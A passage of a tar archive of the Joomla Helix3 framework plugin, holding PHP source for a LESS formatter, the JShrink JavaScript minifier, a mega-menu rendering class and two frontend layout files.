			case 'url(':
				if (preg_match('/url\(.*?\)/', $text, $m, 0, $count))
					$count += strlen($m[0]) - strlen($min[0]);
				break;
			case '"':
			case "'":
				if (preg_match('/'.$min[0].'.*?(?<!\\\\)'.$min[0].'/', $text, $m, 0, $count))
					$count += strlen($m[0]) - 1;
				break;
			case '//':
				$skip = strpos($text, "\n", $count);
				if ($skip === false) $skip = strlen($text) - $count;
				else $skip -= $count;
				break;
			case '/*':
				if (preg_match('/\/\*.*?\*\//s', $text, $m, 0, $count)) {
					$skip = strlen($m[0]);
					$newlines = substr_count($m[0], "\n");
				}
				break;
			}

			if ($skip == 0) $count += strlen($min[0]);

			$out .= substr($text, 0, $count).str_repeat("\n", $newlines);
			$text = substr($text, $count + $skip);

			$min = null;
		}

		return $out.$text;
	}

}

class helix3_lessc_formatter_classic {
	public $indentChar = "  ";

	public $break = "\n";
	public $open = " {";
	public $close = "}";
	public $selectorSeparator = ", ";
	public $assignSeparator = ":";

	public $openSingle = " { ";
	public $closeSingle = " }";

	public $disableSingle = false;
	public $breakSelectors = false;

	public $compressColors = false;

	public function __construct() {
		$this->indentLevel = 0;
	}

	public function indentStr($n = 0) {
		return str_repeat($this->indentChar, max($this->indentLevel + $n, 0));
	}

	public function property($name, $value) {
		return $name . $this->assignSeparator . $value . ";";
	}

	protected function isEmpty($block) {
		if (empty($block->lines)) {
			foreach ($block->children as $child) {
				if (!$this->isEmpty($child)) return false;
			}

			return true;
		}
		return false;
	}

	public function block($block) {
		if ($this->isEmpty($block)) return;

		$inner = $pre = $this->indentStr();

		$isSingle = !$this->disableSingle &&
			is_null($block->type) && count($block->lines) == 1;

		if (!empty($block->selectors)) {
			$this->indentLevel++;

			if ($this->breakSelectors) {
				$selectorSeparator = $this->selectorSeparator . $this->break . $pre;
			} else {
				$selectorSeparator = $this->selectorSeparator;
			}

			echo $pre .
				implode($selectorSeparator, $block->selectors);
			if ($isSingle) {
				echo $this->openSingle;
				$inner = "";
			} else {
				echo $this->open . $this->break;
				$inner = $this->indentStr();
			}

		}

		if (!empty($block->lines)) {
			$glue = $this->break.$inner;
			echo $inner . implode($glue, $block->lines);
			if (!$isSingle && !empty($block->children)) {
				echo $this->break;
			}
		}

		foreach ($block->children as $child) {
			$this->block($child);
		}

		if (!empty($block->selectors)) {
			if (!$isSingle && empty($block->children)) echo $this->break;

			if ($isSingle) {
				echo $this->closeSingle . $this->break;
			} else {
				echo $pre . $this->close . $this->break;
			}

			$this->indentLevel--;
		}
	}
}

class helix3_lessc_formatter_compressed extends helix3_lessc_formatter_classic {
	public $disableSingle = true;
	public $open = "{";
	public $selectorSeparator = ",";
	public $assignSeparator = ":";
	public $break = "";
	public $compressColors = true;

	public function indentStr($n = 0) {
		return "";
	}
}

class helix3_lessc_formatter_lessjs extends helix3_lessc_formatter_classic {
	public $disableSingle = true;
	public $breakSelectors = true;
	public $assignSeparator = ": ";
	public $selectorSeparator = ",";
}                                           system/helix3/core/classes/Minifier.php                                                             0000705                 00000042734 15242051520 0014130 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/*
 * This file is part of the JShrink package.
 *
 * (c) Robert Hafner <tedivm@tedivm.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * JShrink
 *
 *
 * @package    JShrink
 * @author     Robert Hafner <tedivm@tedivm.com>
 */

namespace JShrink;

/**
 * Minifier
 *
 * Usage - Minifier::minify($js);
 * Usage - Minifier::minify($js, $options);
 * Usage - Minifier::minify($js, array('flaggedComments' => false));
 *
 * @package JShrink
 * @author Robert Hafner <tedivm@tedivm.com>
 * @license http://www.opensource.org/licenses/bsd-license.php  BSD License
 */
class Minifier
{
    /**
     * The input javascript to be minified.
     *
     * @var string
     */
    protected $input;

    /**
     * The location of the character (in the input string) that is next to be
     * processed.
     *
     * @var int
     */
    protected $index = 0;

    /**
     * The first of the characters currently being looked at.
     *
     * @var string
     */
    protected $a = '';

    /**
     * The next character being looked at (after a);
     *
     * @var string
     */
    protected $b = '';

    /**
     * This character is only active when certain look ahead actions take place.
     *
     *  @var string
     */
    protected $c;

    /**
     * Contains the options for the current minification process.
     *
     * @var array
     */
    protected $options;

    /**
     * Contains the default options for minification. This array is merged with
     * the one passed in by the user to create the request specific set of
     * options (stored in the $options attribute).
     *
     * @var array
     */
    protected static $defaultOptions = array('flaggedComments' => true);

    /**
     * Contains lock ids which are used to replace certain code patterns and
     * prevent them from being minified
     *
     * @var array
     */
    protected $locks = array();

    /**
     * Takes a string containing javascript and removes unneeded characters in
     * order to shrink the code without altering it's functionality.
     *
     * @param  string      $js      The raw javascript to be minified
     * @param  array       $options Various runtime options in an associative array
     * @throws \Exception
     * @return bool|string
     */
    public static function minify($js, $options = array())
    {
        try {
            ob_start();

            $jshrink = new Minifier();
            $js = $jshrink->lock($js);
            $jshrink->minifyDirectToOutput($js, $options);

            // Sometimes there's a leading new line, so we trim that out here.
            $js = ltrim(ob_get_clean());
            $js = $jshrink->unlock($js);
            unset($jshrink);

            return $js;

        } catch (\Exception $e) {

            if (isset($jshrink)) {
                // Since the breakdownScript function probably wasn't finished
                // we clean it out before discarding it.
                $jshrink->clean();
                unset($jshrink);
            }

            // without this call things get weird, with partially outputted js.
            ob_end_clean();
            throw $e;
        }
    }

    /**
     * Processes a javascript string and outputs only the required characters,
     * stripping out all unneeded characters.
     *
     * @param string $js      The raw javascript to be minified
     * @param array  $options Various runtime options in an associative array
     */
    protected function minifyDirectToOutput($js, $options)
    {
        $this->initialize($js, $options);
        $this->loop();
        $this->clean();
    }

    /**
     *  Initializes internal variables, normalizes new lines,
     *
     * @param string $js      The raw javascript to be minified
     * @param array  $options Various runtime options in an associative array
     */
    protected function initialize($js, $options)
    {
        $this->options = array_merge(static::$defaultOptions, $options);
        $js = str_replace("\r\n", "\n", $js);
        $js = str_replace('/**/', '', $js);
        $this->input = str_replace("\r", "\n", $js);

        // We add a newline to the end of the script to make it easier to deal
        // with comments at the bottom of the script- this prevents the unclosed
        // comment error that can otherwise occur.
        $this->input .= PHP_EOL;

        // Populate "a" with a new line, "b" with the first character, before
        // entering the loop
        $this->a = "\n";
        $this->b = $this->getReal();
    }

    /**
     * The primary action occurs here. This function loops through the input string,
     * outputting anything that's relevant and discarding anything that is not.
     */
    protected function loop()
    {
        while ($this->a !== false && !is_null($this->a) && $this->a !== '') {

            switch ($this->a) {
                // new lines
                case "\n":
                    // if the next line is something that can't stand alone preserve the newline
                    if (strpos('(-+{[@', $this->b) !== false) {
                        echo $this->a;
                        $this->saveString();
                        break;
                    }

                    // if B is a space we skip the rest of the switch block and go down to the
                    // string/regex check below, resetting $this->b with getReal
                    if($this->b === ' ')
                        break;

                // otherwise we treat the newline like a space

                case ' ':
                    if(static::isAlphaNumeric($this->b))
                        echo $this->a;

                    $this->saveString();
                    break;

                default:
                    switch ($this->b) {
                        case "\n":
                            if (strpos('}])+-"\'', $this->a) !== false) {
                                echo $this->a;
                                $this->saveString();
                                break;
                            } else {
                                if (static::isAlphaNumeric($this->a)) {
                                    echo $this->a;
                                    $this->saveString();
                                }
                            }
                            break;

                        case ' ':
                            if(!static::isAlphaNumeric($this->a))
                                break;

                        default:
                            // check for some regex that breaks stuff
                            if ($this->a == '/' && ($this->b == '\'' || $this->b == '"')) {
                                $this->saveRegex();
                                continue;
                            }

                            echo $this->a;
                            $this->saveString();
                            break;
                    }
            }

            // do reg check of doom
            $this->b = $this->getReal();

            if(($this->b == '/' && strpos('(,=:[!&|?', $this->a) !== false))
                $this->saveRegex();
        }
    }

    /**
     * Resets attributes that do not need to be stored between requests so that
     * the next request is ready to go. Another reason for this is to make sure
     * the variables are cleared and are not taking up memory.
     */
    protected function clean()
    {
        unset($this->input);
        $this->index = 0;
        $this->a = $this->b = '';
        unset($this->c);
        unset($this->options);
    }

    /**
     * Returns the next string for processing based off of the current index.
     *
     * @return string
     */
    protected function getChar()
    {
        // Check to see if we had anything in the look ahead buffer and use that.
        if (isset($this->c)) {
            $char = $this->c;
            unset($this->c);

        // Otherwise we start pulling from the input.
        } else {
            $char = substr($this->input, $this->index, 1);

            // If the next character doesn't exist return false.
            if (isset($char) && $char === false) {
                return false;
            }

            // Otherwise increment the pointer and use this char.
            $this->index++;
        }

        // Normalize all whitespace except for the newline character into a
        // standard space.
        if($char !== "\n" && ord($char) < 32)

            return ' ';

        return $char;
    }

    /**
     * This function gets the next "real" character. It is essentially a wrapper
     * around the getChar function that skips comments. This has significant
     * performance benefits as the skipping is done using native functions (ie,
     * c code) rather than in script php.
     *
     *
     * @return string            Next 'real' character to be processed.
     * @throws \RuntimeException
     */
    protected function getReal()
    {
        $startIndex = $this->index;
        $char = $this->getChar();

        // Check to see if we're potentially in a comment
        if ($char !== '/') {
            return $char;
        }

        $this->c = $this->getChar();

        if ($this->c == '/') {
            return $this->processOneLineComments($startIndex);

        } elseif ($this->c == '*') {
            return $this->processMultiLineComments($startIndex);
        }

        return $char;
    }

    /**
     * Removed one line comments, with the exception of some very specific types of
     * conditional comments.
     *
     * @param  int    $startIndex The index point where "getReal" function started
     * @return string
     */
    protected function processOneLineComments($startIndex)
    {
        $thirdCommentString = substr($this->input, $this->index, 1);

        // kill rest of line
        $this->getNext("\n");

        if ($thirdCommentString == '@') {
            $endPoint = ($this->index) - $startIndex;
            unset($this->c);
            $char = "\n" . substr($this->input, $startIndex, $endPoint);
        } else {
            // first one is contents of $this->c
            $this->getChar();
            $char = $this->getChar();
        }

        return $char;
    }

    /**
     * Skips multiline comments where appropriate, and includes them where needed.
     * Conditional comments and "license" style blocks are preserved.
     *
     * @param  int               $startIndex The index point where "getReal" function started
     * @return bool|string       False if there's no character
     * @throws \RuntimeException Unclosed comments will throw an error
     */
    protected function processMultiLineComments($startIndex)
    {
        $this->getChar(); // current C
        $thirdCommentString = $this->getChar();

        // kill everything up to the next */ if it's there
        if ($this->getNext('*/')) {

            $this->getChar(); // get *
            $this->getChar(); // get /
            $char = $this->getChar(); // get next real character

            // Now we reinsert conditional comments and YUI-style licensing comments
            if (($this->options['flaggedComments'] && $thirdCommentString == '!')
                || ($thirdCommentString == '@') ) {

                // If conditional comments or flagged comments are not the first thing in the script
                // we need to echo a and fill it with a space before moving on.
                if ($startIndex > 0) {
                    echo $this->a;
                    $this->a = " ";

                    // If the comment started on a new line we let it stay on the new line
                    if ($this->input[($startIndex - 1)] == "\n") {
                        echo "\n";
                    }
                }

                $endPoint = ($this->index - 1) - $startIndex;
                echo substr($this->input, $startIndex, $endPoint);

                return $char;
            }

        } else {
            $char = false;
        }

        if($char === false)
            throw new \RuntimeException('Unclosed multiline comment at position: ' . ($this->index - 2));

        // if we're here c is part of the comment and therefore tossed
        if(isset($this->c))
            unset($this->c);

        return $char;
    }

    /**
     * Pushes the index ahead to the next instance of the supplied string. If it
     * is found the first character of the string is returned and the index is set
     * to it's position.
     *
     * @param  string       $string
     * @return string|false Returns the first character of the string or false.
     */
    protected function getNext($string)
    {
        // Find the next occurrence of "string" after the current position.
        $pos = strpos($this->input, $string, $this->index);

        // If it's not there return false.
        if($pos === false)

            return false;

        // Adjust position of index to jump ahead to the asked for string
        $this->index = $pos;

        // Return the first character of that string.
        return substr($this->input, $this->index, 1);
    }

    /**
     * When a javascript string is detected this function crawls for the end of
     * it and saves the whole string.
     *
     * @throws \RuntimeException Unclosed strings will throw an error
     */
    protected function saveString()
    {
        $startpos = $this->index;

        // saveString is always called after a gets cleared, so we push b into
        // that spot.
        $this->a = $this->b;

        // If this isn't a string we don't need to do anything.
        if ($this->a != "'" && $this->a != '"') {
            return;
        }

        // String type is the quote used, " or '
        $stringType = $this->a;

        // Echo out that starting quote
        echo $this->a;

        // Loop until the string is done
        while (1) {

            // Grab the very next character and load it into a
            $this->a = $this->getChar();

            switch ($this->a) {

                // If the string opener (single or double quote) is used
                // output it and break out of the while loop-
                // The string is finished!
                case $stringType:
                    break 2;

                // New lines in strings without line delimiters are bad- actual
                // new lines will be represented by the string \n and not the actual
                // character, so those will be treated just fine using the switch
                // block below.
                case "\n":
                    throw new \RuntimeException('Unclosed string at position: ' . $startpos );
                    break;

                // Escaped characters get picked up here. If it's an escaped new line it's not really needed
                case '\\':

                    // a is a slash. We want to keep it, and the next character,
                    // unless it's a new line. New lines as actual strings will be
                    // preserved, but escaped new lines should be reduced.
                    $this->b = $this->getChar();

                    // If b is a new line we discard a and b and restart the loop.
                    if ($this->b == "\n") {
                        break;
                    }

                    // echo out the escaped character and restart the loop.
                    echo $this->a . $this->b;
                    break;


                // Since we're not dealing with any special cases we simply
                // output the character and continue our loop.
                default:
                    echo $this->a;
            }
        }
    }

    /**
     * When a regular expression is detected this function crawls for the end of
     * it and saves the whole regex.
     *
     * @throws \RuntimeException Unclosed regex will throw an error
     */
    protected function saveRegex()
    {
        echo $this->a . $this->b;

        while (($this->a = $this->getChar()) !== false) {
            if($this->a == '/')
                break;

            if ($this->a == '\\') {
                echo $this->a;
                $this->a = $this->getChar();
            }

            if($this->a == "\n")
                throw new \RuntimeException('Unclosed regex pattern at position: ' . $this->index);

            echo $this->a;
        }
        $this->b = $this->getReal();
    }

    /**
     * Checks to see if a character is alphanumeric.
     *
     * @param  string $char Just one character
     * @return bool
     */
    protected static function isAlphaNumeric($char)
    {
        return preg_match('/^[\w\$]$/', $char) === 1 || $char == '/';
    }

    /**
     * Replace patterns in the given string and store the replacement
     *
     * @param  string $js The string to lock
     * @return bool
     */
    protected function lock($js)
    {
        /* lock things like <code>"asd" + ++x;</code> */
        $lock = '"LOCK---' . crc32(time()) . '"';

        $matches = array();
        preg_match('/([+-])(\s+)([+-])/', $js, $matches);
        if (empty($matches)) {
            return $js;
        }

        $this->locks[$lock] = $matches[2];

        $js = preg_replace('/([+-])\s+([+-])/', "$1{$lock}$2", $js);
        /* -- */

        return $js;
    }

    /**
     * Replace "locks" with the original characters
     *
     * @param  string $js The string to unlock
     * @return bool
     */
    protected function unlock($js)
    {
        if (!count($this->locks)) {
            return $js;
        }

        foreach ($this->locks as $lock => $replacement) {
            $js = str_replace($lock, $replacement, $js);
        }

        return $js;
    }

}
                                    system/helix3/core/classes/menu.php                                                                 0000705                 00000035007 15242051520 0013325 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2018 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

class Helix3Menu {

	protected $_items = array();
	protected $active = 0;
	protected $active_tree = array();
	protected $menu = '';
	public $_params 	= null;
	public $menuname	= 'mainmenu';

	function __construct($class = '', $name = ''){
		$this->app = JFactory::getApplication();
		$this->template = $this->app->getTemplate(true);
		$this->_params = $this->template->params;
		$this->extraclass = $class;
		if($name) {
			$this->menuname = $name;
		} else {
			$this->menuname = $this->_params->get('menu');
		}
		$this->initMenu();
		$this->render();
	}

	public function initMenu(){
		$app 	= JFactory::getApplication();
		$menu  	= $app->getMenu('site');

		$attributes 	= array('menutype');
		$menu_name     	= array($this->menuname);

		$items 			= $menu->getItems($attributes, $menu_name);
		$active_item 	= ($menu->getActive()) ? $menu->getActive() : $menu->getDefault();

		$this->active   	= $active_item ? $active_item->id : 0;
		$this->active_tree 	= $active_item->tree;

		foreach ( $items as &$item ) {
			if($item->level >= 2 && !isset($this->_items[$item->parent_id])){
				continue;
			}

			$parent                           = isset($this->children[$item->parent_id]) ? $this->children[$item->parent_id] : array();
			$parent[]                         = $item;
			$this->children[$item->parent_id] = $parent;
			$this->_items[$item->id]          = $item;
		}

		foreach ($items as &$item) {

			$class = '';
			if ($item->id == $this->active) {
				$class .= ' current-item';
			}

			if (in_array($item->id, $this->active_tree)) {
				$class .= ' active';
			}elseif ($item->type == 'alias') {
				$aliasToId = $item->params->get('aliasoptions');
				if (count($this->active_tree) > 0 && $aliasToId == $this->active_tree[count($this->active_tree) - 1]) {
					$class .= ' active';
				} elseif (in_array($aliasToId, $this->active_tree)) {
					$class .= ' alias-parent-active';
				}
			}

			$item->class   = $class;
			$item->dropdown =0;
			if (isset($this->children[$item->id])) {
				$item->dropdown = 1;
			}
			$item->megamenu = ($item->params->get('megamenu')) ? $item->params->get('megamenu') : 0;
			$item->flink 		= $item->link;

			switch ($item->type) {
				case 'separator':
				case 'heading':
				// No further action needed.
				continue 2;

				case 'url':
				if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) {
					$item->flink = $item->link . '&Itemid=' . $item->id;
				}
				break;

				case 'alias':
				$item->flink = 'index.php?Itemid=' . $item->params->get('aliasoptions');
				break;

				default:
				$router = JSite::getRouter();
				if ($router->getMode() == JROUTER_MODE_SEF) {
					$item->flink = 'index.php?Itemid=' . $item->id;
				} else {
					$item->flink .= '&Itemid=' . $item->id;
				}
				break;
			}

			if (strcasecmp(substr($item->flink, 0, 4), 'http') && (strpos($item->flink, 'index.php?') !== false)) {
				$item->flink = JRoute::_($item->flink, true, $item->params->get('secure'));
			} else {
				$item->flink = JRoute::_($item->flink);
			}

			// We prevent the double encoding because for some reason the $item is shared for menu modules and we get double encoding
			// when the cause of that is found the argument should be removed
			$item->title = htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8', false);
			$item->anchor_css   = htmlspecialchars($item->params->get('menu-anchor_css', ''), ENT_COMPAT, 'UTF-8', false);
			$item->anchor_title = htmlspecialchars($item->params->get('menu-anchor_title', ''), ENT_COMPAT, 'UTF-8', false);
			$item->menu_image   = $item->params->get('menu_image', '') ? htmlspecialchars($item->params->get('menu_image', ''), ENT_COMPAT, 'UTF-8', false) : '';
		}
	}

	public function render()
	{
		$this->menu = '';
		$keys = array_keys($this->_items);

		if (count($keys)) {
			$this->navigation(null,$keys[0]);
		}
		echo $this->menu;
	}

	public function navigation($pitem, $start = 0, $end = 0, $class = '')
	{
		if ( $start > 0 ) {
			if (!isset($this->_items[$start]))
			return;
			$pid     = $this->_items[$start]->parent_id;
			$items   = array();
			$started = false;

			foreach ($this->children[$pid] as $item) {
				if ($started) {
					if ($item->id == $end)
					break;
					$items[] = $item;
				} else {
					if ($item->id == $start) {
						$started = true;
						$items[] = $item;
					}
				}
			}
			if (!count($items))
			return;
		}else if( $start === 0 ){
			$pid = $pitem->id;
			if (!isset($this->children[$pid]))
			return;
			$items = $this->children[$pid];
		}else{
			return;
		}

		//Parent class
		if($pid==1) {

			if($this->_params->get('menu_animation') != 'none') {
				$animation = ' ' . $this->_params->get('menu_animation');
			} else {
				$animation = '';
			}

			$class = 'sp-megamenu-parent' . $animation;

			if($this->extraclass) $class = $class . ' ' . $this->extraclass;

			$this->menu .= $this->start_lvl($class);
		} else {
			$this->menu .= $this->start_lvl($class);
		}


		foreach ($items as $item) {
			$this->getItem($item);
		}

		$this->menu .= $this->end_lvl();
	}

	private function getItem($item) {

		$this->menu .= $this->start_el(array('item' => $item));
		$this->menu .= $this->item($item); // get item url

		if ( $item->megamenu ) {
			$this->mega($item);
		} else if ( $item->dropdown ) {
			$this->dropdown( $item );
		}
		else if ( ( $item->parent_id == 1 ) && ($item->megamenu == 0 ))
		{
			$menulayout = json_decode($this->_items[$item->id]->params->get('menulayout'));

			if ($menulayout) {
				$layout = $menulayout->layout;
				$attr 	= $layout[0]->attr;

				if ( $attr[0]->moduleId !== '' ) {
					$this->mega($item);
				}
			}

		}

		$this->menu .= $this->end_el();
	}

	private function dropdown($item) {
		$items     = isset($this->children[$item->id]) ? $this->children[$item->id] : array();
		$firstitem = count($items) ? $items[0]->id : 0;

		//Dropdown
		$class = ($item->level==1) ? 'sp-dropdown sp-dropdown-main' : 'sp-dropdown sp-dropdown-sub';

		$dropdown_width = $this->_params->get('dropdown_width');

		if(!$dropdown_width) {
			$dropdown_width = 240;
		}

		$dropdown_style = 'width: '. $dropdown_width .'px;';

		$layout = json_decode($this->_items[$item->id]->params->get('menulayout'));
		$sub_alignment = $this->_items[$item->id]->params->get('dropdown_position', 'right');

		if(isset($layout->menuAlign) && $layout->menuAlign) {
			$alignment = $layout->menuAlign;
		} else {
			$alignment = 'right';
		}

		if($alignment=='center') {
			$dropdown_style .= 'left: -'. ($dropdown_width/2) .'px;';
		} else if( $sub_alignment == 'left' ) {
			$dropdown_style .= 'left: -'. $dropdown_width .'px;';
		}

		$this->menu .= '<div class="' . $class . ' sp-menu-'. $alignment .'" style="' . $dropdown_style . '">';
		$this->menu .= '<div class="sp-dropdown-inner">';
		$this->navigation($item, $firstitem, 0,  'sp-dropdown-items');

		$mega_json = $item->params->get('menulayout');
		if ($mega_json)
		{
			$mega = json_decode($mega_json);
			$layout = $mega->layout;

			$layout = $layout[0];
			$col = $layout->attr[0];
			$mod_ids = ($col->moduleId)? explode(',', $col->moduleId):array();

			if (count($mod_ids))
			{
				foreach ($mod_ids as $mod_id)
				{
					$this->menu .= $this->load_module($mod_id);
				}
			}
		}

		$this->menu .= '</div>';
		$this->menu .= '</div>';
	}

	private function mega($item)
	{
		$items     = isset($this->children[$item->id]) ? $this->children[$item->id] : array();
		$firstitem = count($items) ? $items[0]->id : 0;

		$mega_json = $item->params->get('menulayout');
		$mega = json_decode($mega_json);
		$layout = $mega->layout;

		$mega_style = 'width: '. $mega->width .'px;';

		if($mega->menuAlign=='center') {
			$mega_style .= 'left: -' . ($mega->width/2) . 'px;';
		}

		if($mega->menuAlign=='full') {
			$mega_style = '';
			$mega->menuAlign = $mega->menuAlign . ' container';
		}

		$this->menu .='<div class="sp-dropdown sp-dropdown-main sp-dropdown-mega sp-menu-'. $mega->menuAlign .'" style="' . $mega_style . '">';
		$this->menu .='<div class="sp-dropdown-inner">';
		foreach ($layout as $row)
		{

			$this->menu .='<div class="row">';
			foreach ($row->attr as $col)
			{
				$this->menu .='<div class="col-sm-'.$col->colGrid.'">';

				if (count($items))
				{
					$item_ids = ($col->menuParentId)? explode(',', $col->menuParentId):array();

					if (count($item_ids))
					{
						$this->menu .= $this->start_lvl('sp-mega-group');

						foreach ($item_ids as $item_id)
						{
							if (!empty($this->_items[$item_id]))
							{
								$item 	= $this->_items[$item_id];
								$items  = isset($this->children[$item_id]) ? $this->children[$item_id] : array();

								$firstitem = count($items) ? $items[0]->id : 0;

								$this->menu .= $this->start_el(array('item' => $item));

								//Mega Group Title
								if(isset($this->children[$item_id])) {
									$this->menu .= $this->item($item, 'sp-group-title');
								} else {
									$this->menu .= $this->item($item);
								}
								if ($firstitem) {
									$this->navigation(null, $firstitem, 0, 'sp-mega-group-child sp-dropdown-items');
								}

								$this->menu .= $this->end_el();
							}
						}

						$this->menu .= $this->end_lvl();
					}

				}

				$mod_ids = ($col->moduleId)? explode(',', $col->moduleId):array();

				if (count($mod_ids))
				{
					foreach ($mod_ids as $mod_id)
					{
						$this->menu .= $this->load_module($mod_id);
					}
				}

				$this->menu .='</div>';
			}
			$this->menu .='</div>';
		}

		$this->menu .='</div>';
		$this->menu .='</div>';
	}

	private function start_lvl($cls = '')
	{
		$class = trim($cls);
		return '<ul class="'.$class.'">';
	}

	private function end_lvl(){

		return '</ul>';
	}

	private function start_el( $args = array() )
	{
		$item 	= $args['item'];
		$class 	= 'sp-menu-item';

		if( !empty( $this->children[$item->id] ) ) {
			$class .= ' sp-has-child';
		} else if( isset( $item->megamenu ) && ( $item->megamenu ) ) {
			$class .= ' sp-has-child';
		}
		else if ( ( $item->parent_id == 1 ) && ( $item->megamenu == 0 ) )
		{
			$menulayout = json_decode( $this->_items[$item->id]->params->get('menulayout') );

			if ( $menulayout ) {
				$layout = $menulayout->layout;
				$attr 	= $layout[0]->attr;

				if ( $attr[0]->moduleId !== '' ) {
					$class .= ' sp-has-child';
				}
			}
		}

		if( $custom_class = $item->params->get( 'class' ) ) {
			$class .= ' ' . $custom_class;
		}

		$class .= $item->class;

		return '<li class="'.$class.'">';
	}

	private function end_el(){
		return '</li>';
	}

	private function item($item, $extra_class=''){
		$class = $extra_class;
		$title = $item->anchor_title ? 'title="' . $item->anchor_title . '" ' : '';

		$class .= ($item->anchor_css && $class) ? ' ' . $item->anchor_css : $item->anchor_css;
		$class = ($class) ? 'class="' . $class . '"' : '';

		if ($item->menu_image)
		{
			$item->params->get('menu_text', 1) ?
			$linktitle = '<img src="' . $item->menu_image . '" alt="' . $item->title . '" /><span class="image-title">' . $item->title . '</span> ' :
			$linktitle = '<img src="' . $item->menu_image . '" alt="' . $item->title . '" />';
		}
		else
		{
			$linktitle = $item->title;
		}


		//Hide Link Title
		if(!$showmenutitle = $item->params->get('showmenutitle', 1)) {
			$linktitle = '';
		}

		//Add Menu Icon
		if($icon = $item->params->get('icon')) {
			if($showmenutitle) {
				$linktitle = '<i class="fa ' . $icon . '"></i> ' . $linktitle;
			} else {
				$linktitle = '<i class="fa ' . $icon . '"></i>';
			}
		}

		$flink = $item->flink;
		$flink = str_replace('&amp;', '&', JFilterOutput::ampReplace(htmlspecialchars($flink)));

		$output = '';
		$options ='';
		if ($item->params->get('menu_show', 1) != 0) {
			switch ($item->browserNav) {
				default:
				case 0:
					$link_rel = ($item->params->get('menu-anchor_rel', '')) ? 'rel="' . $item->params->get('menu-anchor_rel') . '"' : '' ;
					$flink = ($flink) ? $flink : 'javascript:void(0);' ;
					$output .= '<a '.$class.' href="'. $flink .'" '. $link_rel .' '.$title.'>'.$linktitle.'</a>';
				break;
				case 1:
					$link_rel = ($item->params->get('menu-anchor_rel', '') == 'nofollow') ? 'noopener noreferrer nofollow' : 'noopener noreferrer';
					$output .= '<a '. $class .' href="'. $flink .'" rel="'. $link_rel .'" target="_blank" '. $title .'>'. $linktitle .'</a>';
				break;
				case 2:
					$options .= 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,' . $item->params->get('window_open');
					$output .= '<a '. $class .' href="'. $flink .'" onclick="window.open(this.href,\'targetWindow\',\''. $options. '\');return false;" '. $title .'>'. $linktitle .'</a>';
				break;
			}
		}

		return $output;

	}

	//Load Module by id or position
	private function load_module($mod)
	{
		$app		= JFactory::getApplication();
		$user		= JFactory::getUser();
		$groups		= implode(',', $user->getAuthorisedViewLevels());
		$lang 		= JFactory::getLanguage()->getTag();
		$clientId 	= (int) $app->getClientId();

		$db	= JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('id, title, module, position, content, showtitle, params');
		$query->from('#__modules AS m');
		$query->where('m.published = 1');

		if (is_numeric($mod)) {
			$query->where('m.id = ' . $mod);
		} else {
			$query->where('m.position = "' . $mod . '"');
		}

		$date = JFactory::getDate();
		$now = $date->toSql();
		$nullDate = $db->getNullDate();
		$query->where('(m.publish_up = '.$db->Quote($nullDate).' OR m.publish_up <= '.$db->Quote($now).')');
		$query->where('(m.publish_down = '.$db->Quote($nullDate).' OR m.publish_down >= '.$db->Quote($now).')');

		$query->where('m.access IN ('.$groups.')');
		$query->where('m.client_id = '. $clientId);

		// Filter by language
		if ($app->isSite() && $app->getLanguageFilter()) {
			$query->where('m.language IN (' . $db->Quote($lang) . ',' . $db->Quote('*') . ')');
		}

		$query->order('position, ordering');

		// Set the query
		$db->setQuery($query);

		$modules = $db->loadObjectList();

		if (!$modules) return null;

		$options = array('style' => 'sp_xhtml');
		$output = '';
		ob_start();
		foreach ($modules as $module) {
			$file				= $module->module;
			$custom				= substr($file, 0, 4) == 'mod_' ?  0 : 1;
			$module->user		= $custom;
			$module->name		= $custom ? $module->title : substr($file, 4);
			$module->style		= null;
			$module->position	= strtolower($module->position);
			$clean[$module->id]	= $module;
			echo JModuleHelper::renderModule($module, $options);
		}
		$output = ob_get_clean();
		return $output;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         system/helix3/layouts/frontend/modules.php                                                          0000705                 00000002663 15242051520 0014765 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
defined('_JEXEC') or die('Restricted Access');

//helper & model
$menu_class   = JPATH_ROOT . '/plugins/system/helix3/core/classes/helix3.php';

if (file_exists($menu_class)) {
    require_once($menu_class);
}

$data = $displayData;

$output ='';

    $output .= '<div id="sp-' . JFilterOutput::stringURLSafe($data->settings->name) . '" class="' . $data->className . '">';

        $output .= '<div class="sp-column ' . ($data->settings->custom_class) . '">';

        $features = (Helix3::hasFeature($data->settings->name))? helix3::getInstance()->loadFeature[$data->settings->name] : array();

            foreach ($features as $key => $feature){
                if (isset($feature['feature']) && $feature['load_pos'] == 'before' ) {
                    $output .= $feature['feature'];
                }
            }

            $output .= '<jdoc:include type="modules" name="' . $data->settings->name . '" style="sp_xhtml" />';

            foreach ($features as $key => $feature){
                if (isset($feature['feature']) && $feature['load_pos'] != 'before' ) {
                    $output .= $feature['feature'];
                }
            }

        $output .= '</div>'; //.sp-column

    $output .= '</div>'; //.sp-


echo $output;
                                                                             system/helix3/layouts/frontend/generate.php                                                         0000705                 00000002666 15242051520 0015112 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
defined('_JEXEC') or die('Restricted Access');

//

//helper & model
$menu_class   = JPATH_ROOT . '/plugins/system/helix3/core/classes/helix3.php';

if (file_exists($menu_class)) {
    require_once($menu_class);
}

$template       = JFactory::getApplication()->getTemplate();
$themepath      = JPATH_THEMES . '/' . $template;
$rows_file      = $themepath . '/html/layouts/helix3/frontend/rows.php';
